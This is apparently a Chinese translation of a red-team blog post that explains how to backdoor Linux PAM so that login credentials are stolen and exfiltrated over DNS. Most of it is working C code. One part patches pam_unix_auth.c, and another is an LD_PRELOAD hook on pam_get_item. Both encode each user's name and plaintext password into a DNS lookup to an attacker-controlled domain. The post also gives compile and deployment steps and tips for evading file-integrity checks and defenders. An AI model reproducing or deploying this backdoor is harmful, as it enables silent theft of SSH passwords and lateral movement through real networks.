内容简介:也许在渗透和红队中使用的最著名的Post-Exploitation技术之一,就是在PAM生态系统中打开后门来收集有效的凭证。通过后门获取的证书将帮助我们轻松地实现机器之间的横向移动。我们可以通过不同的选择来实现这一目标。一个有趣的变化是将这种技术与传统的DNS数据渗漏技术(DNS exfiltration)相结合,这样我们就可以将凭据发送到我们的C&C,而无需担心防火墙和通信规则。我们只需要向机器使用的DNS服务器发送一个DNS请求,然后它将被转发到其他DNS服务器,并且在某个时候该请求将攻击我们的权威D
前言
也许在渗透和红队中使用的最著名的Post-Exploitation技术之一,就是在PAM生态系统中打开后门来收集有效的凭证。通过后门获取的证书将帮助我们轻松地实现机器之间的横向移动。我们可以通过不同的选择来实现这一目标。
一个有趣的变化是将这种技术与传统的DNS数据渗漏技术(DNS exfiltration)相结合,这样我们就可以将凭据发送到我们的C&C,而无需担心防火墙和通信规则。我们只需要向机器使用的DNS服务器发送一个DNS请求,然后它将被转发到其他DNS服务器,并且在某个时候该请求将攻击我们的权威DNS服务器。所以我们可以用这个众所周知的渠道默默地取回凭证。
我们的路线图非常简单:添加一个自定义PAM模块,该模块以明文记录凭证,并通过DNS解析将其发送到我们的C&C。
顺便提一下:即使这是一个古老而著名的策略,它仍然是一个非常酷的来显示所需的文件完整性控件的方式。获取服务器根权限,等待管理员或操作员通过SSH登录并享受吧!
0x01 修改pam_unix_auth.c
(我们不会解释PAM是什么或者它是如何工作的。要获得有关PAM的更深入的信息,请使用man)。
为了检索明文中的用户和密码,我们将把有效的pam_unix.so模块替换为我们修改过的模块。如果我们检查原始模块的源代码(从 这里 下载安装在目标服务器上的PAM版本的源代码),我们可以在pam_unix_Auth.c文件中看到一个名为pam_sm_certiate的函数,并且在这个函数中调用_unix_Version_Password,其中的参数是身份验证中使用的用户名和密码:
// (...) /* verify the password of this user */ retval = _unix_verify_password(pamh, name, p, ctrl); name = p = NULL; AUTH_RETURN; } // (...)
因此,在这一点上注入我们的过滤逻辑看起来很好。作为PoC,我们可以使用 这段代码 (SilverMoon-29/4/2009),所以主要的外排逻辑还没有实现(这段代码有一些缺陷-例如,它没有将服务器IP从Resolv.conf-…中取走) 因此,如果要在真正的渗透中使用它,需要改进代码;D)。让vim文件pam_unix_Auth.c添加所需的函数和头文件!:
/* Fun starts here :) * pam_sm_authenticate() performs UNIX/shadow authentication * * First, if shadow support is available, attempt to perform * authentication using shadow passwords. If shadow is not * available, or user does not have a shadow password, fallback * onto a normal UNIX authentication */ /* Backdoor - DNS code extracted from https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168 */ // The code sucks a lot. It is Sunday and I have a hangover, so I am not in the mood to fix it. // Tons of bug and useless code that you should remove. Forgive me, please :) #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> //List of DNS Servers registered on the system char dns_servers[10][100]; int dns_server_count = 0; //Types of DNS resource records :) #define T_A 1 //Ipv4 address #define T_NS 2 //Nameserver #define T_CNAME 5 // canonical name #define T_SOA 6 /* start of authority zone */ #define T_PTR 12 /* domain name pointer */ #define T_MX 15 //Mail server //Function Prototypes void ngethostbyname (unsigned char* , int); void ChangetoDnsNameFormat (unsigned char*,unsigned char*); unsigned char* ReadName (unsigned char*,unsigned char*,int*); void get_dns_servers(); //DNS header structure struct DNS_HEADER { unsigned short id; // identification number unsigned char rd :1; // recursion desired unsigned char tc :1; // truncated message unsigned char aa :1; // authoritive answer unsigned char opcode :4; // purpose of message unsigned char qr :1; // query/response flag unsigned char rcode :4; // response code unsigned char cd :1; // checking disabled unsigned char ad :1; // authenticated data unsigned char z :1; // its z! reserved unsigned char ra :1; // recursion available unsigned short q_count; // number of question entries unsigned short ans_count; // number of answer entries unsigned short auth_count; // number of authority entries unsigned short add_count; // number of resource entries }; //Constant sized fields of query structure struct QUESTION { unsigned short qtype; unsigned short qclass; }; //Constant sized fields of the resource record structure #pragma pack(push, 1) struct R_DATA { unsigned short type; unsigned short _class; unsigned int ttl; unsigned short data_len; }; #pragma pack(pop) //Pointers to resource record contents struct RES_RECORD { unsigned char *name; struct R_DATA *resource; unsigned char *rdata; }; //Structure of a Query typedef struct { unsigned char *name; struct QUESTION *ques; } QUERY; /* * Perform a DNS query by sending a packet * */ void ngethostbyname(unsigned char *host , int query_type) { unsigned char buf[65536],*qname,*reader; int i , j , stop , s; struct sockaddr_in a; struct RES_RECORD answers[20],auth[20],addit[20]; //the replies from the DNS server struct sockaddr_in dest; struct DNS_HEADER *dns = NULL; struct QUESTION *qinfo = NULL; printf("Resolving %s" , host); s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries dest.sin_family = AF_INET; dest.sin_port = htons(53); dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers //Set the DNS structure to standard queries dns = (struct DNS_HEADER *)&buf; dns->id = (unsigned short) htons(getpid()); dns->qr = 0; //This is a query dns->opcode = 0; //This is a standard query dns->aa = 0; //Not Authoritative dns->tc = 0; //This message is not truncated dns->rd = 1; //Recursion Desired dns->ra = 0; //Recursion not available! hey we dont have it (lol) dns->z = 0; dns->ad = 0; dns->cd = 0; dns->rcode = 0; dns->q_count = htons(1); //we have only 1 question dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; //point to the query portion qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)]; ChangetoDnsNameFormat(qname , host); qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc qinfo->qclass = htons(1); //its internet (lol) printf("nSending Packet..."); if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest)) < 0) { perror("sendto failed"); } printf("Done"); //Receive the answer i = sizeof dest; printf("nReceiving answer..."); if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0) { perror("recvfrom failed"); } printf("Done"); dns = (struct DNS_HEADER*) buf; //move ahead of the dns header and the query field reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)]; printf("nThe response contains : "); printf("n %d Questions.",ntohs(dns->q_count)); printf("n %d Answers.",ntohs(dns->ans_count)); printf("n %d Authoritative Servers.",ntohs(dns->auth_count)); printf("n %d Additional records.nn",ntohs(dns->add_count)); //Start reading answers stop=0; for(i=0;i<ntohs(dns->ans_count);i++) { answers[i].name=ReadName(reader,buf,&stop); reader = reader + stop; answers[i].resource = (struct R_DATA*)(reader); reader = reader + sizeof(struct R_DATA); if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address { answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len)); for(j=0 ; j<ntohs(answers[i].resource->data_len) ; j++) { answers[i].rdata[j]=reader[j]; } answers[i].rdata[ntohs(answers[i].resource->data_len)] = ''; reader = reader + ntohs(answers[i].resource->data_len); } else { answers[i].rdata = ReadName(reader,buf,&stop); reader = reader + stop; } } //read authorities for(i=0;i<ntohs(dns->auth_count);i++) { auth[i].name=ReadName(reader,buf,&stop); reader+=stop; auth[i].resource=(struct R_DATA*)(reader); reader+=sizeof(struct R_DATA); auth[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } //read additional for(i=0;i<ntohs(dns->add_count);i++) { addit[i].name=ReadName(reader,buf,&stop); reader+=stop; addit[i].resource=(struct R_DATA*)(reader); reader+=sizeof(struct R_DATA); if(ntohs(addit[i].resource->type)==1) { addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len)); for(j=0;j<ntohs(addit[i].resource->data_len);j++) addit[i].rdata[j]=reader[j]; addit[i].rdata[ntohs(addit[i].resource->data_len)]=''; reader+=ntohs(addit[i].resource->data_len); } else { addit[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } } //print answers printf("nAnswer Records : %d n" , ntohs(dns->ans_count) ); for(i=0 ; i < ntohs(dns->ans_count) ; i++) { printf("Name : %s ",answers[i].name); if( ntohs(answers[i].resource->type) == T_A) //IPv4 address { long *p; p=(long*)answers[i].rdata; a.sin_addr.s_addr=(*p); //working without ntohl printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); } if(ntohs(answers[i].resource->type)==5) { //Canonical name for an alias printf("has alias name : %s",answers[i].rdata); } printf("n"); } //print authorities printf("nAuthoritive Records : %d n" , ntohs(dns->auth_count) ); for( i=0 ; i < ntohs(dns->auth_count) ; i++) { printf("Name : %s ",auth[i].name); if(ntohs(auth[i].resource->type)==2) { printf("has nameserver : %s",auth[i].rdata); } printf("n"); } //print additional resource records printf("nAdditional Records : %d n" , ntohs(dns->add_count) ); for(i=0; i < ntohs(dns->add_count) ; i++) { printf("Name : %s ",addit[i].name); if(ntohs(addit[i].resource->type)==1) { long *p; p=(long*)addit[i].rdata; a.sin_addr.s_addr=(*p); printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); } printf("n"); } return; } /* * * */ u_char* ReadName(unsigned char* reader,unsigned char* buffer,int* count) { unsigned char *name; unsigned int p=0,jumped=0,offset; int i , j; *count = 1; name = (unsigned char*)malloc(256); name[0]=''; //read the names in 3www6google3com format while(*reader!=0) { if(*reader>=192) { offset = (*reader)*256 + *(reader+1) - 49152; //49152 = 11000000 00000000 ;) reader = buffer + offset - 1; jumped = 1; //we have jumped to another location so counting wont go up! } else { name[p++]=*reader; } reader = reader+1; if(jumped==0) { *count = *count + 1; //if we havent jumped to another location then we can count up } } name[p]=''; //string complete if(jumped==1) { *count = *count + 1; //number of steps we actually moved forward in the packet } //now convert 3www6google3com0 to www.google.com for(i=0;i<(int)strlen((const char*)name);i++) { p=name[i]; for(j=0;j<(int)p;j++) { name[i]=name[i+1]; i=i+1; } name[i]='.'; } name[i-1]=''; //remove the last dot return name; } /* * Get the DNS servers from /etc/resolv.conf file on Linux * */ void get_dns_servers() { FILE *fp; char line[200] , *p; if((fp = fopen("/etc/resolv.conf" , "r")) == NULL) { printf("Failed opening /etc/resolv.conf file n"); } while(fgets(line , 200 , fp)) { if(line[0] == '#') { continue; } if(strncmp(line , "nameserver" , 10) == 0) { p = strtok(line , " "); p = strtok(NULL , " "); //p now is the dns ip :) //???? } } // EDIT THIS. It is a PoC strcpy(dns_servers[0] , "127.0.0.1"); } /* * This will convert www.google.com to 3www6google3com * got it :) * */ void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) { int lock = 0 , i; strcat((char*)host,"."); for(i = 0 ; i < strlen((char*)host) ; i++) { if(host[i]=='.') { *dns++ = i-lock; for(;lock<i;lock++) { *dns++=host[lock]; } lock++; //or lock=i+1; } } *dns++=''; } #define _UNIX_AUTHTOK "-UN*X-PASS" // (...)
最后,一点小修改:
// (...) /* verify the password of this user */ retval = _unix_verify_password(pamh, name, p, ctrl); unsigned char hostname[100]; get_dns_servers(); snprintf(hostname, sizeof(hostname), "%s.%s.nowhere.local", name, p); // Change it with your domain if (fork() == 0) { ngethostbyname(hostname, T_A); } name = p = NULL; // (...)
编译该模块(./configure && make),用我们的版本替换原来的pam_unix.so,然后打开一个tcpdump/wireshark并通过SSH登录到机器中:
DNS 96 Standard query 0x6d43 A mothra.RabbitHunt3r.nowhere.local
很好!完成了一个DNS请求,因此我们可以将用户名和密码转储到由我们控制的外部服务器。但现在我们遇到了一个问题:在密码中使用大写/小写/符号(uppercase / lowercase / symbols)会发生什么?在后面的0x03一节中,我们将讨论这一点。
0x02 LD_PRELOAD
在某些情况下,需要采取另一种办法。如果服务器对关键二进制文件(如pam_unix.so和其他模块)或配置文件执行任何类型的文件完整性检查,则需要使用经典的LD_PRELOAD策略。我们将预加载一个共享对象,该对象挂接PAM使用的一些函数,因此我们可以轻松地将我们的退出逻辑注入其中。
我们的目标函数将是pam_get_Item。当以项类型PAM_AUTHTOK作为参数调用此函数时,它检索所使用的身份验证令牌。我们将hook这个函数,因此当调用它时,我们将调用pam_get_user()来检索用户名,然后调用原始pam_get_Item(获得正确的返回值和身份验证令牌),通过DNS将其过滤掉,最后返回之前获得的值。
/* Classic LD_PRELOAD PAM backdoor with DNS exfiltration */ // Author: Juan Manuel Fernandez (@TheXC3LL) #define _GNU_SOURCE #include <security/pam_modules.h> #include <security/pam_ext.h> #include <security/pam_modutil.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <stdio.h> #include <dlfcn.h> #include <sys/stat.h> #include <signal.h> // Insert here all the headers and functions needed for the DNS request //(...) typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item); int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) { int retval; int pid; const char *name; orig_ftype orig_pam; orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item"); // Call original function so we log password retval = orig_pam(pamh, item_type, item); // Log credential if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) { unsigned char hostname[256]; get_dns_servers(); pam_get_user((pam_handle_t *)pamh, &name, NULL); snprintf(hostname, sizeof(hostname), "%s.%s.nowhere.local", name, *item); // Change it with your domain if (fork() == 0) { ngethostbyname(hostname, T_A); } } return retval; }
编译(gcc pam_fucked.c -shared -fPIC pam_fucked.so),停止SSH守护进程,用LD_PRELOAD=/../module/location…/启动它
使用LD_PRELOAD几乎没有什么负面影响,比如需要重新启动守护进程,因此它可以生成其他类型的事件来警告蓝队。另一方面,如果要以SSH的形式重新启动关键服务,则必须从SSH以外的某个点(可能是反向shell)进行操作,并注意避免终止当前会话。
0x03 与C&C的交流
如前所述,我们需要对将被过滤的数据进行编码(并对此信息进行真正的加密)。最好的选择是将其编码为十六进制或 base32 。C&C必须配置为一个权威的DNS,最好是使用一个模拟公司使用的真实域的伪造的域名类型。
你可以安装一个真正的DNS服务器,或者只使用 python 和dnslb创建所需的逻辑。
0x04 最后
我希望你通过典型的DNS数据渗漏技术找到一种酷的方法。这是一种非常简单的方法,可以在最近受到攻击的服务器中获得新的凭据,并征服网络中的其他点。
就像我常说的,如果你发现错误或者想要评论什么,请在Twitter上联系我( @TheXC3LL )。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
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